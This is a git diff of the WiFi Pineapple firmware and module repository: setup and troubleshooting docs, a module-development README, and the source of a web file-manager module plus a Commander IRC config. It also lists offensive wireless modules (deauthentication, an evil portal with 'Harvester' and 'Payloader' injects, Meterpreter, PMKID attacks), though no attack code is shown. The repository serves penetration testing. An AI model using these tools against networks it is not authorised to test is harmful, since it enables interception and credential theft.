+We advise connecting the WiFi Pineapple TETRA to a stable power supply capable of providing 18W for initial setup. When connecting to a PC, use the included USB Y cable. This setup process will require approximately 5 minutes. Video tutorials for setup can be found from https://www.wifipineapple.com/pages/setup
+
+### Android
+
+1. Download the latest WiFi Pineapple TETRA firmware
+    https://www.wifipineapple.com/downloads
+2. Install the WiFi Pineapple Connector app for Android
+    https://play.google.com/store/apps/details?id=org.hak5.pineappleconnector
+3. Power on the TETRA using the supplied USB Y cable
+4. Connect the TETRA to the Android with a USB data cable
+5. Open the WiFi Pineapple Connector Android app
+6. Tap to configure USB Tethering, then tap back to return to the connector
+7. When prompted, tap Begin Setup to launch the TETRA setup page.
+8. Follow the onscreen instructions to complete setup
+
+### Windows / Linux
+
+1. Download the latest WiFi Pineapple TETRA firmware
+    https://www.wifipineapple.com/downloads
+2. Plug the TETRA into your computer using the included USB Y cable
+3. Browse to http://172.16.42.1:1471
+4. Follow the onscreen instructions to complete setup
+

+ 63 - 0
docs/troubleshooting.md

@@ -0,0 +1,63 @@
+# Troubleshooting
+
+## LED Status Indicators
+
+**WiFi Pineapple NANO**
+The single blue LED indicates bootup and WiFi operation. While starting up, the LED will flash. Once bootup has completed the LED will become solid. The LED will flicker to indicate activity on the first WiFi radio - wlan0. This radio is host to the Access Point.
+
+**WiFi Pineapple TETRA**
+The yellow LED indicates activity on the WAN eth0 RJ45 Ethernet port. The blue LED indicates activity on the wlan0 wireless interface, home to the access point. The red LED indicates activity on the wlan1mon wireless interface, used by PineAP and other applications for sniffing and injection.
+
+The boot sequence is: yellow solid followed by a moment of no LED activity, then blue blinking until bootup is complete.
+
+## Factory Reset
+
+Settings may be restored to defaults using the factory reset procedure. This process will restore the device to the initial configuration of the latest installed firmware. Upon performing the factory reset procedure initial setup must be performed, setting the root password and SSID.
+
+To perform a factory reset from a fully booted WiFi Pineapple, hold the RESET button for approximately 7 seconds. The device will then reboot.
+
+Alternatively the factory reset may be performed from the web interface. From the Configuration page, select Factory Reset from the General menu.
+
+Note: data not stored on external media (USB / SD) will be erased during this process.
+
+## Firmware Recovery
+
+The WiFi Pineapple features a firmware recovery option which allows the user to restore the device to a factory firmware image. This procedure is performed via a special web interface.
+Begin by downloading the factory firmware image for your device from https://www.wifipineapple.com/pages/faq
+
+Next, follow these steps to access the recovery web interface and update the firmware.
+
+* Unplug the WiFi Pineapple completely from all power sources.
+* Begin holding the RESET button on the device.
+* With the RESET button held, power on the device.
+* Continue holding the RESET button for 10 seconds, then release.
+
+> NANO: The blue LED will remain solid
+> TETRA: The yellow LED will remain solid
+
+* Connect the host PC to the WiFi Pineapple via the USB Ethernet Port
+
+> NANO: The male USB A plug
+> TETRA: The Micro USB port labeled ETH
+
+* From the host PC, configure a static IP address on the WiFi Pineapple facing Ethernet interface to 192.168.1.2 with netmask 255.255.255.0
+
+> For example, in Linux run ifconfig eth1 192.168.1.1 netmask 255.255.255.0 up (where eth1 is the interface name of the WiFi Pineapple).
+
+* From the host PC, browse to http://192.168.1.1
+* Click Choose File and select the factory firmware image downloaded above.
+* Click Update Firmware.
+* This process will take several minutes. Do not interrupt the power supply while the firmware is updating. Once complete, the WiFi Pineapple will restart.
+* Reset the the WiFi Pineapple facing USB Ethernet interface back to DHCP or 172.16.42.42 with netmask 255.255.255.0
+
+## Community Support
+
+The WiFi Pineapple is more than hardware or software -- it's home to a helpful community of creative penetration testers and IT professionals. Welcome!
+
+The forums are a great place to share feedback and ideas. You'll also find community support and discussion as well as modules, tutorials and firmware releases. Be sure to use the search feature to find answers to common questions. https://www.wifipineapple.com/forum
+
+Find a bug? If it hasn't already been reported, you're encouraged to report it along with detailed steps to reproduce the issue at the bug tracker. https://www.wifipineapple.com/bugs
+
+Looking for something a little more informal? The IRC channel is home to a passionate group of WiFi Pineapple enthusiasts. Join us at #pineapple on irc.hak5.org.
+
+Please be aware that views expressed by community members are not those of Hak5 or the WiFi Pineapple team.

+ 17 - 0
docs/videos.md

@@ -0,0 +1,17 @@
+# Videos
+
+[![WiFi Pineapple Primer](http://img.youtube.com/vi/eHnQwTCKe2o/0.jpg)](http://www.youtube.com/watch?v=eHnQwTCKe2o)
+
+[![Introducing the WiFi Pineapple NANO](http://img.youtube.com/vi/ng1nIomquok/0.jpg)](http://www.youtube.com/watch?v=ng1nIomquok)
+
+[![WiFi Pineapple NANO: Windows Setup](http://img.youtube.com/vi/Nv1eiIwOPKo/0.jpg)](http://www.youtube.com/watch?v=Nv1eiIwOPKo)
+
+[![WiFi Pineapple NANO: Android Setup](http://img.youtube.com/vi/2te89R8SMoM/0.jpg)](http://www.youtube.com/watch?v=2te89R8SMoM)
+
+[![WiFi Pineapple NANO: Linux Setup](http://img.youtube.com/vi/CrHbEZd4t00/0.jpg)](http://www.youtube.com/watch?v=CrHbEZd4t00)
+
+[![WiFi Pineapple NANO: Kali Linux 2.0 Internet Connection Sharing](http://img.youtube.com/vi/voGhGs4Zq-8/0.jpg)](http://www.youtube.com/watch?v=voGhGs4Zq-8)
+
+[![Let's Code: Session 1 - WiFi Pineapple Modules and API](http://img.youtube.com/vi/Lvf2At3G1C0/0.jpg)](http://www.youtube.com/watch?v=Lvf2At3G1C0)
+
+[![WiFi Pineapple TETRA: Linux Setup](http://img.youtube.com/vi/gqMW0NeODAQ/0.jpg)](http://www.youtube.com/watch?v=gqMW0NeODAQ)

BIN
firmwares/1.1.1-mk7.bin


BIN
firmwares/2.7.0-nano.bin


BIN
firmwares/2.7.0-tetra.bin


Файлын зөрүү хэтэрхий том тул дарагдсан байна
+ 0 - 0
json/news.json


Файлын зөрүү хэтэрхий том тул дарагдсан байна
+ 0 - 0
json/upgrades.json


+ 8 - 0
modules/.idea/.gitignore

@@ -0,0 +1,8 @@
+# Default ignored files
+/shelf/
+/workspace.xml
+# Editor-based HTTP Client requests
+/httpRequests/
+# Datasource local storage ignored files
+/dataSources/
+/dataSources.local.xml

+ 22 - 0
modules/.idea/modules.iml

@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<module type="WEB_MODULE" version="4">
+  <component name="NewModuleRootManager">
+    <content url="file://$MODULE_DIR$">
+      <sourceFolder url="file://$MODULE_DIR$/src/EvilPortal/includes/skeleton" isTestSource="false" packagePrefix="evilportal" />
+      <sourceFolder url="file://$MODULE_DIR$/src/EvilPortal/includes/targeted_skeleton" isTestSource="false" packagePrefix="evilportal" />
+      <sourceFolder url="file://$MODULE_DIR$/src/PortalAuth/includes/scripts/injects/Blank" isTestSource="false" packagePrefix="evilportal" />
+      <sourceFolder url="file://$MODULE_DIR$/src/PortalAuth/includes/scripts/injects/Blank/backups" isTestSource="false" packagePrefix="evilportal" />
+      <sourceFolder url="file://$MODULE_DIR$/src/PortalAuth/includes/scripts/injects/Free_WiFi_Week" isTestSource="false" packagePrefix="evilportal" />
+      <sourceFolder url="file://$MODULE_DIR$/src/PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups" isTestSource="false" packagePrefix="evilportal" />
+      <sourceFolder url="file://$MODULE_DIR$/src/PortalAuth/includes/scripts/injects/Harvester" isTestSource="false" packagePrefix="evilportal" />
+      <sourceFolder url="file://$MODULE_DIR$/src/PortalAuth/includes/scripts/injects/Harvester/backups" isTestSource="false" packagePrefix="evilportal" />
+      <sourceFolder url="file://$MODULE_DIR$/src/PortalAuth/includes/scripts/injects/Payloader" isTestSource="false" packagePrefix="evilportal" />
+      <sourceFolder url="file://$MODULE_DIR$/src/PortalAuth/includes/scripts/injects/Payloader/backups" isTestSource="false" packagePrefix="evilportal" />
+      <sourceFolder url="file://$MODULE_DIR$/src/PortalAuth/includes/scripts/skeleton" isTestSource="false" packagePrefix="evilportal" />
+      <sourceFolder url="file://$MODULE_DIR$/src/SiteSurvey/api" isTestSource="false" packagePrefix="pineapple" />
+      <sourceFolder url="file://$MODULE_DIR$/src/wps/api" isTestSource="false" packagePrefix="pineapple" />
+    </content>
+    <orderEntry type="inheritedJdk" />
+    <orderEntry type="sourceFolder" forTests="false" />
+  </component>
+</module>

+ 8 - 0
modules/.idea/modules.xml

@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="ProjectModuleManager">
+    <modules>
+      <module fileurl="file://$PROJECT_DIR$/.idea/modules.iml" filepath="$PROJECT_DIR$/.idea/modules.iml" />
+    </modules>
+  </component>
+</project>

+ 19 - 0
modules/.idea/php.xml

@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="MessDetectorOptionsConfiguration">
+    <option name="transferred" value="true" />
+  </component>
+  <component name="PHPCSFixerOptionsConfiguration">
+    <option name="transferred" value="true" />
+  </component>
+  <component name="PHPCodeSnifferOptionsConfiguration">
+    <option name="highlightLevel" value="WARNING" />
+    <option name="transferred" value="true" />
+  </component>
+  <component name="PhpStanOptionsConfiguration">
+    <option name="transferred" value="true" />
+  </component>
+  <component name="PsalmOptionsConfiguration">
+    <option name="transferred" value="true" />
+  </component>
+</project>

+ 6 - 0
modules/.idea/vcs.xml

@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<project version="4">
+  <component name="VcsDirectoryMappings">
+    <mapping directory="$PROJECT_DIR$/.." vcs="Git" />
+  </component>
+</project>

+ 11 - 0
modules/CONTRIBUTING.md

@@ -0,0 +1,11 @@
+Contributing
+============
+
+To ease code reviews please follow the [PSR-1](https://www.php-fig.org/psr/psr-1/) and
+[PSR-2](https://www.php-fig.org/psr/psr-2/). Take a few minutes to actually read them,
+they're not all that bad. To jump right in use the [PHP-CS-Fixer
+tool](http://cs.sensiolabs.org/). Or install PHP_CodeSniffer and use it like so:
+
+`apt install php-codesniffer`
+
+`phpcs --standard=PSR2 your_file.php`

+ 95 - 0
modules/README.md

@@ -0,0 +1,95 @@
+# WiFi Pineapple Module Repository
+
+This is the module repository for the WiFi Pineapple NANO and TETRA. All the community developed modules are stored here, and developers should create pull requests for any changes to their 
+modules, or module additions.
+
+## Module Structure
+A WiFi Pineapple Module is created with HTML, AngularJS and PHP. All HTML is done using the Bootstrap CSS framework, and AngularJS combined with our [PHP 
+API](https://wifipineapple.github.io/wifipineapple-wiki//#!api.md) allows for asynchronus updating and easy to implement features for your module.
+
+A basic module will request information through AngularJS to PHP, and then the PHP will provide a response to AngularJS, where it will then be displayed on the HTML page for the user to see.
+
+```
++-------------------+         +--------------+         +-----------+         +------+
+| AngularJS Request |   -->   | PHP Response |   -->   | AngularJS |   -->   | HTML |
++-------------------+         +--------------+         +-----------+         +------+
+```
+
+The structure of a module is as follows:
+```
+.
+├── api
+│   └── module.php
+├── js
+│   └── module.js
+├── module.html
+└── module.info
+```
+
+More information on creating modules can be found [here](https://wifipineapple.github.io/wifipineapple-wiki//#!creating_modules.md) while more information on the API can be found 
+[here](https://wifipineapple.github.io/wifipineapple-wiki//#!api.md).
+
+### module.info
+The `module.info` file is a simple JSON array consisting of `author`, `description`, `devices`, `title`, and `version`. The `version` field will need to be updated with any pull request.
+
+### module.html
+The WiFi Pineapple modules make use of Bootstrap to provide a good mobile viewing experience and a clean look. Module developers are encouraged to make use of Bootstrap components, such as 
+responsive tables and the grid system. To learn more about Bootstrap, visit the [Bootstrap Website](https://getbootstrap.com/). We also include a hook for atleast one AngularJS controller. You 
+can 
+learn more about AngularJS at the [AngularJS Website](https://angularjs.org/).
+
+```
+<div class="row">
+    <div ng-controller="ExampleController" class="col-md-12">
+        {{ hello }}
+    </div>
+</div>
+```
+
+### module.js
+The `js/module.js` file will house the Javascript for your module, and will be the place for controller definitions, in this brief example it will be called `ExampleController`. We will also 
+set a 
+variable called `$scope.hello` with content we will receieve from our PHP. 
+
+```
+registerController("ExampleController", ['$api', '$scope', function($api, $scope) {
+    $api.request({
+        module: 'ExampleModule',
+        action: 'getHello'
+    }, function(response) {
+        $scope.hello = response.text;
+    });
+}])
+```
+
+This snippet makes use of our API to send a request to our PHP with the `getHello` action, and will set it a response into the `$scope.hello` variable.
+
+### module.php
+The `api/module.php` file must be in the `pineapple` namespace, and contain a routing switch statement, for example:
+
+```
+<?php namespace pineapple;
+
+class ExampleModule extends Module
+{
+    public function route()
+    {
+        switch ($this->request->action) {
+            case 'getHello':
+                $this->hello();
+                break;
+            }
+    }
+}
+```
+
+We will then need to call our function `hello()`, which should be `private` and should set a response:
+```
+private function hello()
+{
+    $this->response = array('text' => "Hello World");
+}
+```
+
+**Note:** You should never use the closing `?>` PHP tag in your `module.php` file.
+

BIN
modules/build/Cabinet.tar.gz


BIN
modules/build/Commander.tar.gz


BIN
modules/build/ConnectedClients.tar.gz


BIN
modules/build/CursedScreech.tar.gz


BIN
modules/build/DNSMasqSpoof.tar.gz


BIN
modules/build/DNSspoof.tar.gz


BIN
modules/build/DWall.tar.gz


BIN
modules/build/Deauth.tar.gz


BIN
modules/build/EvilPortal.tar.gz


BIN
modules/build/HTTPProxy.tar.gz


BIN
modules/build/HackRF.tar.gz


BIN
modules/build/InternetSpeedTest.tar.gz


BIN
modules/build/KeyManager.tar.gz


BIN
modules/build/LEDController.tar.gz


BIN
modules/build/Locate.tar.gz


BIN
modules/build/LogManager.tar.gz


BIN
modules/build/MACInfo.tar.gz


BIN
modules/build/Meterpreter.tar.gz


BIN
modules/build/ModemManager.tar.gz


BIN
modules/build/ModuleMaker.tar.gz


BIN
modules/build/Occupineapple.tar.gz


BIN
modules/build/OnlineHashCrack.tar.gz


BIN
modules/build/OpenVPNConnect.tar.gz


BIN
modules/build/PMKIDAttack.tar.gz


BIN
modules/build/Papers.tar.gz


BIN
modules/build/PortalAuth.tar.gz


BIN
modules/build/RandomRoll.tar.gz


BIN
modules/build/Responder.tar.gz


BIN
modules/build/SSIDManager.tar.gz


BIN
modules/build/SSLsplit.tar.gz


BIN
modules/build/SignalStrength.tar.gz


BIN
modules/build/SiteSurvey.tar.gz


BIN
modules/build/Status.tar.gz


BIN
modules/build/Terminal.tar.gz


BIN
modules/build/Themes.tar.gz


BIN
modules/build/ZeroTier.tar.gz


BIN
modules/build/autossh.tar.gz


BIN
modules/build/base64encdec.tar.gz


BIN
modules/build/dump1090.tar.gz


BIN
modules/build/get.tar.gz


Файлын зөрүү хэтэрхий том тул дарагдсан байна
+ 0 - 0
modules/build/modules.json


BIN
modules/build/ngrep.tar.gz


BIN
modules/build/nmap.tar.gz


BIN
modules/build/p0f.tar.gz


BIN
modules/build/tcpdump.tar.gz


BIN
modules/build/tor.tar.gz


BIN
modules/build/urlsnarf.tar.gz


BIN
modules/build/wps.tar.gz


BIN
modules/src.zip


+ 173 - 0
modules/src/Cabinet/api/module.php

@@ -0,0 +1,173 @@
+<?php namespace pineapple;
+
+class Cabinet extends Module
+{
+
+	public function route()
+	{
+		switch($this->request->action) {
+			case 'getDirectoryContents':
+				$this->getDirectoryContents();
+				break;
+
+			case 'getParentDirectory':
+				$this->getParentDirectory();
+				break;
+
+			case 'deleteFile':
+				$this->deleteFile();
+				break;
+
+			case 'editFile':
+				$this->editFile();
+				break;
+
+			case 'getFileContents':
+				$this->getFileContents();
+				break;
+
+			case 'createFolder':
+				$this->createFolder();
+				break;
+
+            case 'download':
+                $this->response = $this->download($this->request->filePath);
+                break;
+
+		}
+	}
+
+	private function getDirectoryContents()
+	{
+		$dir = $this->request->directory;
+
+		$success = false;
+		$contents = array();
+		if (file_exists($dir)) {
+			foreach (preg_grep('/^([^.])/', scandir($dir)) as $file) {
+				$obj = array("name" => $file, "directory" => is_dir($dir . '/' . $file),
+				"path" => realpath($dir . '/' . $file), 
+				"permissions" => substr(sprintf('%o', fileperms($dir . '/' . $file)), -4),
+				"size" => $this->readableFileSize($dir . '/' . $file));
+				array_push($contents, $obj);
+			}
+			$success = true;
+		}
+
+		$this->response = array("success" => $success, "contents" => $contents, "directory" => $dir);
+
+	}
+
+	private function getParentDirectory()
+	{
+		$dir = $this->request->directory;
+		$success = false;
+		$parent = "";
+
+		if (file_exists($dir)) {
+			$parent = dirname($dir);
+			$success = true;
+		}
+
+		$this->response = array("success" => $success, "parent" => $parent);
+
+	}
+
+	private function deleteFile()
+	{
+		$f = $this->request->file;
+		$success = false;
+
+		if (file_exists($f)) {
+			exec("rm -rf " . escapeshellarg($f));
+		}
+
+		if (!file_exists($f)) {
+			$success = true;
+		}
+
+		$this->response = array("success" => $success);
+
+	}
+
+	private function editFile()
+	{
+		$f = $this->request->file;
+		$data = $this->request->contents;
+		$success = false;
+
+		file_put_contents($f, $data);
+		if (file_exists($f)) {
+			$success = true;
+		}
+
+		$this->response = array("success" => $success);
+	}
+
+	private function getFileContents()
+	{
+		$f = $this->request->file;
+		$success = false;
+		$content = "";
+		$size = "0 Bytes";
+
+		if (file_exists($f)) {
+			$success = true;
+			$content = file_get_contents($f);
+			$size = $this->readableFileSize($f);
+		}
+
+		$this->response = array("success" => $success, "content" => $content, "size" => $size);
+
+	}
+
+	private function createFolder()
+	{
+		$dir = $this->request->directory;
+		$name = $this->request->name;
+		$success = false;
+
+		if (!is_dir($dir . '/' . $name)) {
+			$success = true;
+			mkdir($dir . "/" . $name);
+		}
+
+		$this->response = array("success" => $success);
+	}
+
+    /**
+     * Download a file
+     * @param: The path to the file to download
+     * @return array : array
+     */
+    private function download($filePath)
+    {
+        if (file_exists($filePath)) {
+            return array("success" => true, "message" => null, "download" => $this->downloadFile($filePath));
+        } else {
+            return array("success" => false, "message" => "File does not exist", "download" => null);
+        }
+    }
+
+    /**
+     * Get the size of a file and add a unit to the end of it.
+     * @param $file: The file to get size of
+     * @return string: File size plus unit. Exp: 3.14M
+     */
+    private function readableFileSize($file) {
+        $size = filesize($file);
+
+        if ($size == null)
+            return "0 Bytes";
+
+        if ($size < 1024) {
+            return "{$size} Bytes";
+        } else if ($size >= 1024 && $size < 1024*1024) {
+            return round($size / 1024, 2) . "K";
+        } else if ($size >= 1024*1024) {
+            return round($size / (1024*1024), 2) . "M";
+        }
+        return "{$size} Bytes";
+    }
+
+}

+ 143 - 0
modules/src/Cabinet/js/module.js

@@ -0,0 +1,143 @@
+registerController("CabinetController", ['$api', '$scope', function($api, $scope) {
+
+	$scope.userDirectory = '';
+	$scope.currentDirectory = '/';
+	$scope.directoryContents = [];
+	$scope.editFile = {name: "", path: "", content: ""};
+	$scope.deleteFile = {name: "", path: "", directory: false};
+	$scope.newFolder = {name: "", path: $scope.currentDirectory};
+	$scope.message = {};
+
+	$scope.showMessage = function(msgTitle, msgBody) {
+		$scope.message = {title: msgTitle, body: msgBody};
+		$('#messageModal').modal("show");
+	};
+
+	$scope.submitChangeDirectory = function(directory) {
+		console.log(directory);
+	};
+
+	$scope.getDirectoryContents = function(dir) {
+		$api.request({
+			module: "Cabinet",
+			action: "getDirectoryContents",
+			directory: dir
+		}, function(response) {
+			if (response.success == true) {
+				$scope.currentDirectory = response.directory;
+				$scope.directoryContents = [];
+				for (var i = 0; i < response.contents.length; i++) {
+					$scope.directoryContents.unshift({name: response.contents[i].name,
+						directory: response.contents[i].directory, 
+						path: response.contents[i].path, 
+						permissions: response.contents[i].permissions,
+						size: response.contents[i].size
+					});
+				}
+			} else {
+				$scope.showMessage("加载目录时出错", "加载目录内容时出错,请验证您要导航到的目录是否存在");
+			}
+		});
+	};
+
+	$scope.goToParentDirctory = function() {
+		$api.request({
+			module: "Cabinet",
+			action: "getParentDirectory",
+			directory: $scope.currentDirectory
+		}, function(response) {
+			if (response.success == true) {
+				parent = response.parent;
+				$scope.getDirectoryContents(parent);
+			} else {
+				$scope.showMessage("查找父目录时出错", "试图查找父目录时出错,请验证您要导航到的目录是否存在");
+			}
+		});
+	};
+
+	$scope.requestDeleteFile = function(file) {
+		$scope.deleteFile.name = file.name;
+		$scope.deleteFile.path = file.path;
+		$scope.deleteFile.directory = file.directory;
+		console.log($scope.deleteFile);
+	};
+
+	$scope.sendDeleteFile = function() {
+		$api.request({
+			module: "Cabinet",
+			action: "deleteFile",
+			file: $scope.deleteFile.path
+		}, function(response) {
+			if (response.success == true) {
+				$scope.deleteFile = {};
+				$scope.getDirectoryContents($scope.currentDirectory);
+			} else {
+				$scope.showMessage("删除文件时出错", "试图删除文件时出错 " + $scope.deleteFile.path + ". 请确认此文件存在,并且您有权删除它");
+			}
+		});
+	};
+
+	$scope.requestEditFile = function(file) {
+		$api.request({
+			module: "Cabinet",
+			action: "getFileContents",
+			file: file.path
+		}, function(response) {
+			if (response.success == true) {
+				$scope.editFile = {name: file.name, path: file.path, content: response.content, size: response.size};
+			} else {
+				$scope.showMessage("加载文件内容时出错", "试图加载文件时出错 " + file.name + ". 请确认该文件存在,并且您拥有编辑该文件的权限");
+			}
+		});
+	};
+
+	$scope.sendEditFile = function() {
+		$api.request({
+			module: "Cabinet",
+			action: "editFile",
+			file: $scope.currentDirectory + "/" + $scope.editFile.name,
+			contents: $scope.editFile.content
+		}, function(response) {
+			if (response.success) {
+				$scope.editFile = {};
+				$scope.getDirectoryContents($scope.currentDirectory);
+			} else {
+				$scope.showMessage("保存文件时出错", "试图保存文件时出错 " + $scope.editFile.name + ". 请确认该文件存在,并且您拥有编辑该文件的权限");
+			}
+		});
+	};
+
+	$scope.createFolder = function() {
+		$api.request({
+			module: "Cabinet",
+			action: "createFolder",
+			name: $scope.newFolder.name,
+			directory: $scope.currentDirectory
+		}, function(response) {
+			if (response.success == true) {
+				$scope.newFolder = {};
+				$scope.getDirectoryContents($scope.currentDirectory);
+			} else {
+				$scope.showMessage("创建目录时出错", "试图创建文件夹时出错 " + $scope.newFolder.name + ". 请验证您是否有权在此目录中创建新项目");
+			}
+		});
+	};
+
+    $scope.download = function(filePath) {
+        $api.request({
+            module: "Cabinet",
+            action: "download",
+            filePath: filePath
+        }, function (response) {
+            if (!response.success) {
+                $scope.showMessage("Error", response.message);
+                return;
+            }
+            window.location = "/api/?download=" + response.download;
+        })
+    };
+
+	$scope.getDirectoryContents($scope.currentDirectory);
+
+
+}]);

+ 180 - 0
modules/src/Cabinet/module.html

@@ -0,0 +1,180 @@
+<div class="row" ng-controller="CabinetController">
+
+	<div class="col-md-12">
+        <div class="panel panel-default">
+            <div class="panel-heading">
+                <h3 class="panel-title">{{ currentDirectory }}</h3>
+            </div>
+
+            <div class="panel-body">
+				<form class="form-inline pull-right" role="form">
+					<div class="input-group">
+						<input type="text" placeholder="输入目录" class="form-control" ng-model="userDirectory">
+						<span class="input-group-btn">
+							<button type="submit" class="btn btn-default" ng-click="getDirectoryContents(userDirectory)">确定</button>
+						</span>
+					</div>
+				</form>
+				<span class="input-group-btn pull-left">
+					<button type="button" class="btn btn-default btn-sm" ng-show="currentDirectory == '/'" disabled>返回</button>
+					<button type="button" class="btn btn-default btn-sm" ng-click="goToParentDirctory()" ng-hide="currentDirectory == '/'">返回</button>
+					<button type="button" class="btn btn-default btn-sm" data-toggle="modal" data-target="#fileModal">新文件</button>
+					<button type="button" class="btn btn-default btn-sm" data-toggle="modal" data-target="#folderModal">新文件夹</button>
+					<button type="button" class="btn btn-default btn-sm" ng-click="getDirectoryContents(currentDirectory)">刷新</button>
+				</span>
+				<br />
+				<hr/>
+				<div class="table-responsive">
+					<table class="table table-striped" align="center">
+						<thead>
+							<th>文件名</th>
+							<th>位置</th>
+							<th>权限</th>
+							<th>大小</th>
+							<th>删除</th>
+							<th>编辑</th>
+						</thead>
+						<tbody>
+							<tr ng-repeat="item in directoryContents">
+								<td ng-hide="item.directory">{{ item.name }}</td>
+								<td ng-show="item.directory"><a href="javascript:;" ng-click="getDirectoryContents(item.path)">{{ item.name }}</a></td>
+								<td class="text-muted"><i>{{ item.path }}</i></td>
+								<td class="text-muted"><i>{{ item.permissions }}</i></td>
+								<td class="text-muted"><i>{{ item.size }}</i></td>
+								<td><a href="" data-toggle="modal" data-target="#deleteModal" ng-click="requestDeleteFile(item)">删除</a></td>
+								<td><a href="" ng-hide="item.directory" ng-click="requestEditFile(item)" data-toggle="modal" data-target="#fileModal">编辑</a></td>
+							</tr>
+						</tbody>
+					</table>
+				</div>
+            </div>
+        </div>
+    </div>
+
+    <!-- Edit file Modal -->
+	<div id="fileModal" class="modal fade" role="dialog">
+
+		<script type="text/javascript">
+            // Thanks to sud0nick on forums.hak5.org for this snippet
+            $(document).delegate('#cabinetEditor', 'keydown', function(e) {
+                var keyCode = e.keyCode || e.which;
+                if (keyCode == 9) {
+                    for (var i = 0; i < 4; i++) {
+                        // get caret position/selection
+                        var start = this.selectionStart;
+                        var end = this.selectionEnd;
+
+                        var $this = $(this);
+                        var value = $this.val();
+
+                        // set textarea value to: text before caret + tab + text after caret
+                        $this.val(value.substring(0, start)
+                            + " "
+                            + value.substring(end));
+
+                        // put caret at right position again (add one for the tab)
+                        this.selectionStart = this.selectionEnd = start + 1;
+
+                        // prevent the focus lose
+                        e.preventDefault();
+                    }
+                }
+            });
+
+		</script>
+
+		<div class="modal-dialog">
+
+			<!-- Modal content-->
+			<div class="modal-content">
+				<div class="modal-header">
+					<button type="button" class="close" data-dismiss="modal" ng-click="editFile = {}">&times;</button>
+					<h4 class="modal-title">文件编辑器 {{ editFile.name }}</h4>
+				</div>
+				<div class="modal-body">
+						<label class="control-label">文件名</label>
+						<input type="text" class="form-control" ng-model="editFile.name" placeholder="Notes.txt">
+						<br />
+						<label class="control-label">文件内容</label>
+						<a href="javascript:;" ng-click="editFile.content = ''" class="pull-right">清除</a>
+						<textarea class="form-control" rows="10" id="cabinetEditor" ng-model="editFile.content" placeholder="在这里写一些文字"></textarea>
+						<label class="control-label pull-right">文件大小: {{ editFile.size }}</label>
+						<a href="javascript:;" class="pull-left" ng-click="download(editFile.path)">下载</a>
+						<br />
+				</div>
+				<div class="modal-footer">
+					<button type="button" ng-click="sendEditFile()" class="btn btn-success pull-right" data-dismiss="modal">保存</button>
+					<button type="button" class="btn btn-default pull-left" data-dismiss="modal" ng-click="editFile = {}">取消</button>
+				</div>
+			</div>
+		</div>
+	</div>
+
+	<!-- Delete file Modal -->
+	<div id="deleteModal" class="modal fade" role="dialog">
+		<div class="modal-dialog">
+
+			<!-- Modal content-->
+			<div class="modal-content">
+				<div class="modal-header">
+					<button type="button" class="close" data-dismiss="modal" ng-click="deleteFile = {}">&times;</button>
+					<h4 class="modal-title">删除文件 {{ deleteFile.name }}</h4>
+				</div>
+				<div class="modal-body">
+					<p>您将要删除 {{ deleteFile.name }}</p>
+					<p ng-show="deleteFile.directory">{{ deleteFile.name }} 是一个目录,删除它也会删除其中包含的所有文件和文件夹</p>
+					<p><b>您确定要删除吗 {{ deleteFile.name }} 位于 {{ deleteFile.path }}?</b></p>
+				</div>
+				<div class="modal-footer">
+					<button type="button" class="btn btn-primary pull-right" data-dismiss="modal" ng-click="deleteFile = {}">取消</button>
+					<button type="button" class="btn btn-danger pull-left" data-dismiss="modal" ng-click="sendDeleteFile()">删除</button>
+				</div>
+			</div>
+		</div>
+	</div>
+
+	<!-- Create directory Modal -->
+	<div id="folderModal" class="modal fade" role="dialog">
+		<div class="modal-dialog">
+
+			<!-- Modal content-->
+			<div class="modal-content">
+				<div class="modal-header">
+					<button type="button" class="close" data-dismiss="modal">&times;</button>
+					<h4 class="modal-title">创建文件夹</h4>
+				</div>
+				<div class="modal-body">
+					<form class="form-inline" role="form">
+						<label class="control-label">文件夹名称</label>
+						<input type="text" class="form-control" ng-model="newFolder.name" placeholder="Notes.txt">
+					</form>
+				</div>
+				<div class="modal-footer">
+					<button type="button" ng-click="createFolder()" class="btn btn-success pull-left" data-dismiss="modal">创建</button>
+					<button type="button" class="btn btn-default pull-right" data-dismiss="modal">取消</button>
+				</div>
+			</div>
+		</div>
+	</div>
+
+	<!-- Create Message Modal -->
+	<div id="messageModal" class="modal fade" role="dialog">
+		<div class="modal-dialog">
+
+			<!-- Modal content-->
+			<div class="modal-content">
+				<div class="modal-header">
+					<button type="button" class="close" data-dismiss="modal">&times;</button>
+					<h4 class="modal-title">{{ message.title }}</h4>
+				</div>
+				<div class="modal-body">
+					<p>{{ message.body }}</p>
+				</div>
+				<div class="modal-footer">
+					<button type="button" class="btn btn-default pull-right" data-dismiss="modal">解散</button>
+				</div>
+			</div>
+		</div>
+	</div>
+
+</div>

+ 10 - 0
modules/src/Cabinet/module.info

@@ -0,0 +1,10 @@
+{
+    "author": "newbi3",
+    "description": "网络界面的文件管理器",
+    "devices": [
+        "nano",
+        "tetra"
+    ],
+    "title": "文件管理",
+    "version": "1.1"
+}

+ 21 - 0
modules/src/Commander/LICENSE

@@ -0,0 +1,21 @@
+The MIT License (MIT)
+
+Copyright (c) 2016 Marc
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

+ 15 - 0
modules/src/Commander/Python/commander.conf

@@ -0,0 +1,15 @@
+[Network]
+Server: irc.example.com
+Port: 6667
+Nickname: Commander
+Channel: #commander
+
+[Security]
+Master: Foxtrot
+Trigger: !
